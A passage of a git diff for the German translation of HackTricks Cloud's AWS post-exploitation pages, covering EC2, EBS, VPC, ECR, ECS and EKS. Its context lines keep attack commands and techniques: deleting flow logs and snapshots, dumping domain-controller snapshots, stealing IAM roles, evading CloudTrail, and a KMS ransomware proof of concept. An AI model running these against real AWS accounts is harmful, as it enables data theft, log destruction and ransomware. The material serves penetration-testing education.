nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle vorhanden ist, wird die Operation **ein neues Element** mit dem angegebenen Primärschlüssel erstellen und die im Aktualisierungsausdruck angegebenen Attribute festlegen. {{#tabs }} {{#tab name="XSS Example" }} @@ -266,7 +266,7 @@ aws dynamodb delete-backup \ ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` -> [!NOTE] +> [!HINWEIS] > TODO: Testen, ob das tatsächlich funktioniert Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, um mit dem Streaming von Änderungen zu beginnen, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dies ermöglicht es dem Angreifer, Datenänderungen zu überwachen und zu exfiltrieren, was potenziell zu einem Datenleck führen kann. @@ -298,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Potenzielle Auswirkungen**: Echtzeitüberwachung und Datenleckage der Änderungen der DynamoDB-Tabelle. +**Potenzielle Auswirkungen**: Echtzeitüberwachung und Datenleckage der Änderungen der DynamoDB-Tabelle. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 7c78697a5..eb72cb8f3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ### **Bösartiges VPC-Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC-Traffic-Mirroring **dupliziert den eingehenden und ausgehenden Verkehr für EC2-Instanzen innerhalb eines VPC** ohne die Notwendigkeit, etwas auf den Instanzen selbst zu installieren. Dieser duplizierte Verkehr würde normalerweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet werden.\ +VPC-Traffic-Mirroring **dupliziert den eingehenden und ausgehenden Verkehr für EC2-Instanzen innerhalb eines VPC** ohne die Notwendigkeit, etwas auf den Instanzen selbst zu installieren. Dieser duplizierte Verkehr würde normalerweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet.\ Ein Angreifer könnte dies ausnutzen, um den gesamten Verkehr zu erfassen und sensible Informationen daraus zu erhalten: Für weitere Informationen siehe diese Seite: @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Laufende Instanz kopieren -Instanzen enthalten normalerweise eine Art von sensiblen Informationen. Es gibt verschiedene Möglichkeiten, um Zugang zu erhalten (siehe [EC2 Privilegieneskalationstricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Eine andere Möglichkeit, um zu überprüfen, was sie enthält, besteht darin, **eine AMI zu erstellen und eine neue Instanz (sogar in Ihrem eigenen Konto) daraus zu starten**: +Instanzen enthalten normalerweise eine Art von sensiblen Informationen. Es gibt verschiedene Möglichkeiten, um Zugang zu erhalten (siehe [EC2-Privilegieneskalationstricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Eine andere Möglichkeit, um zu überprüfen, was sie enthält, besteht darin, **eine AMI zu erstellen und eine neue Instanz (sogar in Ihrem eigenen Konto) daraus zu starten**: ```shell # List instances aws ec2 describe-images @@ -49,7 +49,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot-Dump -**Snapshots sind Backups von Volumes**, die normalerweise **sensible Informationen** enthalten, daher sollte deren Überprüfung diese Informationen offenbaren.\ +**Snapshots sind Backups von Volumes**, die normalerweise **sensible Informationen** enthalten, daher sollte die Überprüfung dieser Informationen offenbaren.\ Wenn Sie ein **Volume ohne Snapshot** finden, könnten Sie: **Einen Snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer Instanz** innerhalb des Kontos **einbinden**: {{#ref}} @@ -81,11 +81,11 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por ``` ### Privesc zu ECS -Es ist möglich, eine EC2-Instanz auszuführen und sie zu registrieren, um ECS-Instanzen auszuführen, und dann die Daten der ECS-Instanzen zu stehlen. +Es ist möglich, eine EC2-Instanz zu starten und sie zu registrieren, um ECS-Instanzen auszuführen, und dann die Daten der ECS-Instanzen zu stehlen. Für [**weitere Informationen siehe hier**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). -### VPC-Flow-Protokolle entfernen +### VPC-Flussprotokolle entfernen ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -100,17 +100,17 @@ Neben der Ausführung von Befehlen ermöglicht SSM das Tunneln von Datenverkehr, > Um eine Sitzung zu starten, benötigen Sie das SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Installieren Sie das SessionManagerPlugin auf Ihrem Computer -2. Melden Sie sich mit dem folgenden Befehl beim Bastion EC2 an: +2. Melden Sie sich mit dem folgenden Befehl am Bastion EC2 an: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Holen Sie sich die temporären Anmeldeinformationen des Bastion EC2 AWS mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) Skript +3. Holen Sie sich die temporären Anmeldeinformationen für die Bastion EC2 AWS mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) Skript 4. Übertragen Sie die Anmeldeinformationen auf Ihren eigenen Computer in die Datei `$HOME/.aws/credentials` als `[bastion-ec2]` Profil 5. Melden Sie sich bei EKS als Bastion EC2 an: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Aktualisieren Sie das `server`-Feld in der Datei `$HOME/.kube/config`, um auf `https://localhost` zu verweisen +6. Aktualisieren Sie das `server`-Feld in der Datei `$HOME/.kube/config`, um auf `https://localhost` zu verweisen. 7. Erstellen Sie einen SSM-Tunnel wie folgt: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region @@ -119,7 +119,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo ```shell kubectl get pods --insecure-skip-tls-verify ``` -Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das Flag `--insecure-skip-tls-verify` (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch das sichere AWS SSM-Tunnel geleitet wird, sind Sie vor jeglichen MitM-Angriffen geschützt. +Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das `--insecure-skip-tls-verify`-Flag (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch das sichere AWS SSM-Tunnel geleitet wird, sind Sie vor jeglichen MitM-Angriffen geschützt. Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Sie können beliebige Domains und Ports festlegen, um zu einem anderen AWS-Dienst oder einer benutzerdefinierten Anwendung zu pivotieren. @@ -139,7 +139,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe Ein Proof of Concept ähnlich der Ransomware-Demonstration, die in den S3-Post-Exploitation-Notizen gezeigt wurde. KMS sollte in RMS umbenannt werden, da es so einfach ist, verschiedene AWS-Dienste damit zu verschlüsseln. -Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Schlüssel in KMS. Für dieses Beispiel lassen wir AWS die Schlüsseldaten für mich verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselrichtlinie, um es jedem AWS-Konto-Principal zu ermöglichen, den Schlüssel zu verwenden. Für diese Schlüsselrichtlinie war der Name des Kontos 'AttackSim' und die Richtlinienregel, die allen Zugriff erlaubt, heißt 'Outside Encryption'. +Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Schlüssel in KMS. Für dieses Beispiel lassen wir AWS die Schlüsseldaten für mich verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselrichtlinie, um es jedem AWS-Konto-Principal zu ermöglichen, den Schlüssel zu verwenden. Für diese Schlüsselrichtlinie war der Name des Kontos 'AttackSim' und die Richtlinienregel, die allen Zugriff erlaubt, heißt 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -239,7 +239,7 @@ Die Schlüsselrichtlinienregel muss Folgendes aktiviert haben, um die Möglichke - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Jetzt mit dem öffentlich zugänglichen Schlüssel zur Verwendung. Wir können ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes hat. Die EBS-Volumes dieses 'Opfer'-Kontos sind das Ziel unserer Verschlüsselung, dieser Angriff erfolgt unter der Annahme eines Kompromisses eines hochprivilegierten AWS-Kontos. +Jetzt mit dem öffentlich zugänglichen Schlüssel. Wir können ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes hat. Die EBS-Volumes dieses 'Opfer'-Kontos sind das Ziel unserer Verschlüsselung, dieser Angriff erfolgt unter der Annahme eines Kompromisses eines hochprivilegierten AWS-Kontos. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) @@ -332,7 +332,7 @@ Aber wenn Sie versuchen, die EC2-Instanz mit dem verschlüsselten EBS-Volume tat ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware-PoC ist. +Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware PoC ist. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 95178375d..4c46c331d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -46,7 +46,7 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` -Für weitere Informationen zu dieser Technik siehe die ursprüngliche Forschung unter [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) +Für weitere Informationen zu dieser Technik siehe die ursprüngliche Forschung in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) Du kannst dies mit Pacu unter Verwendung des Moduls [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) tun. @@ -75,7 +75,7 @@ Schritt 4: Melden Sie sich bei der EC2-Instanz an und listen Sie die verfügbare Schritt 5: Überprüfen Sie, ob das Volume Daten enthält, indem Sie den Befehl `sudo file -s /dev/xvdf` verwenden. -Wenn die Ausgabe des obigen Befehls zeigt "/dev/xvdf: data", bedeutet dies, dass das Volume leer ist. +Wenn die Ausgabe des obigen Befehls "/dev/xvdf: data" zeigt, bedeutet dies, dass das Volume leer ist. Schritt 6: Formatieren Sie das Volume mit dem ext4-Dateisystem, indem Sie den Befehl `sudo mkfs -t ext4 /dev/xvdf` verwenden. Alternativ können Sie auch das xfs-Format verwenden, indem Sie den Befehl `sudo mkfs -t xfs /dev/xvdf` verwenden. Bitte beachten Sie, dass Sie entweder ext4 oder xfs verwenden sollten. @@ -85,7 +85,7 @@ Um diese Aktion auszuführen, verwenden Sie den Befehl `sudo mkdir /newvolume`. Schritt 8: Mounten Sie das Volume im Verzeichnis "newvolume" mit dem Befehl `sudo mount /dev/xvdf /newvolume/`. -Schritt 9: Wechseln Sie in das Verzeichnis "newvolume" und überprüfen Sie den Speicherplatz, um die Volume-Montage zu validieren. +Schritt 9: Wechseln Sie in das Verzeichnis "newvolume" und überprüfen Sie den Speicherplatz, um das Volume-Mount zu validieren. Um diese Aktion auszuführen, verwenden Sie die folgenden Befehle: @@ -122,7 +122,7 @@ ls /mnt ``` ## Shadow Copy -Jeder AWS-Benutzer, der über die Berechtigung **`EC2:CreateSnapshot`** verfügt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine von ihm kontrollierte Instanz anbindet und die **NTDS.dit und SYSTEM** Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert. +Jeder AWS-Benutzer, der über die Berechtigung **`EC2:CreateSnapshot`** verfügt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine Instanz, die er kontrolliert, anbindet und die **NTDS.dit und SYSTEM** Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert. Sie können dieses Tool verwenden, um den Angriff zu automatisieren: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oder Sie könnten eine der vorherigen Techniken nach dem Erstellen eines Snapshots verwenden. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index 5d70dd32c..f61dc1347 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -1,8 +1,8 @@ -# AWS - Malicious VPC Mirror +# AWS - Bösartiges VPC-Mirror {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** +**Überprüfen Sie** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **für weitere Details zum Angriff!** Passive Netzwerkinspektion in einer Cloud-Umgebung war **herausfordernd** und erforderte erhebliche Konfigurationsänderungen, um den Netzwerkverkehr zu überwachen. Eine neue Funktion namens “**VPC Traffic Mirroring**” wurde jedoch von AWS eingeführt, um diesen Prozess zu vereinfachen. Mit VPC Traffic Mirroring kann der Netzwerkverkehr innerhalb von VPCs **dupliziert** werden, ohne dass Software auf den Instanzen selbst installiert werden muss. Dieser duplizierte Verkehr kann an ein Netzwerk-Intrusion-Detection-System (IDS) zur **Analyse** gesendet werden. @@ -10,6 +10,6 @@ Um den Bedarf an **automatisierter Bereitstellung** der notwendigen Infrastruktu Die **Auswirkungen** des bösartigen VPC-Traffic-Mirroring können erheblich sein, da es Angreifern ermöglicht, auf **sensible Informationen** zuzugreifen, die innerhalb von VPCs übertragen werden. Die **Wahrscheinlichkeit** eines solchen bösartigen Mirroring ist hoch, da **Klartextverkehr** durch VPCs fließt. Viele Unternehmen verwenden Klartextprotokolle innerhalb ihrer internen Netzwerke aus **Leistungsgründen** und gehen davon aus, dass traditionelle Man-in-the-Middle-Angriffe nicht möglich sind. -Für weitere Informationen und Zugang zum [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) finden Sie es in unserem **GitHub-Repository**. Das Skript automatisiert und optimiert den Prozess, wodurch es **schnell, einfach und wiederholbar** für offensive Forschungszwecke wird. +Für weitere Informationen und Zugriff auf das [**malmirror-Skript**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) finden Sie es in unserem **GitHub-Repository**. Das Skript automatisiert und optimiert den Prozess, wodurch es **schnell, einfach und wiederholbar** für offensive Forschungszwecke wird. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index f0e2811f9..54c019515 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -Nach dem Herunterladen der Bilder sollten Sie **sie auf sensible Informationen überprüfen**: +Nachdem Sie die Bilder heruntergeladen haben, sollten Sie **sie auf sensible Informationen überprüfen**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index af5c9f2c3..53b817506 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -12,23 +12,23 @@ Für weitere Informationen siehe: ### Host IAM-Rollen -In ECS kann eine **IAM-Rolle der Aufgabe** zugewiesen werden, die im Container ausgeführt wird. **Wenn** die Aufgabe innerhalb einer **EC2**-Instanz ausgeführt wird, hat die **EC2-Instanz** eine **andere IAM**-Rolle angehängt.\ -Das bedeutet, dass, wenn es dir gelingt, eine ECS-Instanz zu **kompromittieren**, du potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist,** **erhalten** kannst. Für weitere Informationen, wie du diese Anmeldeinformationen erhalten kannst, siehe: +In ECS kann eine **IAM-Rolle der Aufgabe** zugewiesen werden, die innerhalb des Containers ausgeführt wird. **Wenn** die Aufgabe innerhalb einer **EC2**-Instanz ausgeführt wird, hat die **EC2-Instanz** eine **andere IAM**-Rolle, die ihr zugeordnet ist.\ +Das bedeutet, dass, wenn es Ihnen gelingt, eine ECS-Instanz zu **kompromittieren**, Sie potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist, erhalten können**. Für weitere Informationen darüber, wie Sie diese Anmeldeinformationen erhalten können, siehe: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Beachte, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen. +> Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html) die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen. -### Privilegieneskalation zum Knoten, um Anmeldeinformationen und Geheimnisse anderer Container zu stehlen +### Privesc zum Knoten, um Anmeldeinformationen und Geheimnisse anderer Container zu stehlen -Darüber hinaus verwendet EC2 Docker, um ECS-Aufgaben auszuführen. Wenn du also zum Knoten entkommen oder **auf den Docker-Socket zugreifen** kannst, kannst du **überprüfen**, welche **anderen Container** ausgeführt werden, und sogar **in sie eindringen** und **ihre angehängten IAM-Rollen stehlen**. +Darüber hinaus verwendet EC2 Docker, um ECS-Aufgaben auszuführen. Wenn Sie also zum Knoten entkommen oder **auf den Docker-Socket zugreifen** können, können Sie **überprüfen**, welche **anderen Container** ausgeführt werden, und sogar **in sie eindringen** und **ihre angehängten IAM-Rollen stehlen**. #### Container auf dem aktuellen Host ausführen -Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, **zu aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt,** möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container **stehlen** kann. +Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, zu **aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt,** möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container stehlen kann. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index 908089666..319999488 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -14,7 +14,7 @@ Für weitere Informationen siehe Wenn Sie die Berechtigung **`eks:AccessKubernetesApi`** haben, können Sie **Kubernetes-Objekte** über die AWS EKS-Konsole anzeigen ([Erfahren Sie mehr](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### Verbindung zum AWS Kubernetes-Cluster herstellen +### Verbinden Sie sich mit dem AWS Kubernetes-Cluster - Einfache Methode: ```bash @@ -25,7 +25,7 @@ aws eks update-kubeconfig --name aws-eks-dev Wenn Sie **ein Token erhalten können** mit **`aws eks get-token --name `**, aber keine Berechtigungen haben, um Cluster-Informationen abzurufen (describeCluster), könnten Sie **Ihre eigene `~/.kube/config` vorbereiten**. Allerdings benötigen Sie mit dem Token immer noch den **URL-Endpunkt, um sich zu verbinden** (wenn Sie es geschafft haben, ein JWT-Token von einem Pod zu erhalten, lesen Sie [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) und den **Namen des Clusters**. -In meinem Fall habe ich die Informationen nicht in den CloudWatch-Protokollen gefunden, aber ich **fand sie in den LaunchTemplates userData** und in **EC2-Maschinen in userData ebenfalls**. Sie können diese Informationen in **userData** leicht sehen, zum Beispiel im nächsten Beispiel (der Clustername war cluster-name): +In meinem Fall habe ich die Informationen nicht in den CloudWatch-Protokollen gefunden, aber ich **fand sie in den LaunchTemplates userData** und in **EC2-Maschinen in userData ebenfalls**. Sie können diese Informationen leicht in **userData** sehen, zum Beispiel im nächsten Beispiel (der Clustername war cluster-name): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com @@ -77,11 +77,11 @@ Der **Ersteller** des **EKS-Clusters** wird **IMMER** in der Lage sein, in den K Der Weg, um **Zugriff auf K8s für weitere AWS IAM-Benutzer oder -Rollen** zu gewähren, ist die Verwendung des **configmap** **`aws-auth`**. > [!WARNING] -> Daher wird jeder mit **Schreibzugriff** auf die Config-Map **`aws-auth`** in der Lage sein, den **gesamten Cluster zu gefährden**. +> Daher wird jeder mit **Schreibzugriff** auf die Config-Map **`aws-auth`** in der Lage sein, den **gesamten Cluster zu kompromittieren**. -Für weitere Informationen darüber, wie man **zusätzliche Privilegien für IAM-Rollen & -Benutzer** im **gleichen oder unterschiedlichen Konto** gewährt und wie man dies **ausnutzen** kann, [**privesc überprüfen Sie diese Seite**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +Für weitere Informationen darüber, wie man **zusätzliche Privilegien für IAM-Rollen und -Benutzer** im **gleichen oder unterschiedlichen Konto** gewährt und wie man dies **ausnutzen** kann, siehe [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Überprüfen Sie auch[ **diesen großartigen**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **Beitrag, um zu erfahren, wie die Authentifizierung IAM -> Kubernetes funktioniert**. +Überprüfen Sie auch [**diesen großartigen**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **Beitrag, um zu erfahren, wie die Authentifizierung IAM -> Kubernetes funktioniert**. ### Von Kubernetes zu AWS @@ -89,7 +89,7 @@ Es ist möglich, eine **OpenID-Authentifizierung für Kubernetes-Dienstkonten** ### GET Api Server-Endpunkt aus einem JWT-Token -Durch das Dekodieren des JWT-Tokens erhalten wir die Cluster-ID und auch die Region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Dabei ist das Standardformat für die EKS-URL +Durch das Decodieren des JWT-Tokens erhalten wir die Cluster-ID und auch die Region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Dabei ist bekannt, dass das Standardformat für die EKS-URL ist ```bash https://...eks.amazonaws.com ``` @@ -125,13 +125,13 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws Wenn ein Angreifer die Anmeldeinformationen eines AWS mit **Berechtigungen über ein EKS** erhält. Wenn der Angreifer seine eigene **`kubeconfig`** konfiguriert (ohne **`update-kubeconfig`** aufzurufen), wie zuvor erklärt, generiert **`get-token`** keine Protokolle in CloudTrail, da es nicht mit der AWS-API interagiert (es erstellt das Token nur lokal). -Wenn der Angreifer also mit dem EKS-Cluster kommuniziert, **wird CloudTrail nichts protokollieren, das mit dem gestohlenen Benutzer und dem Zugriff darauf zu tun hat**. +Wenn der Angreifer also mit dem EKS-Cluster kommuniziert, **wird CloudTrail nichts protokollieren, was mit dem gestohlenen Benutzer und dem Zugriff 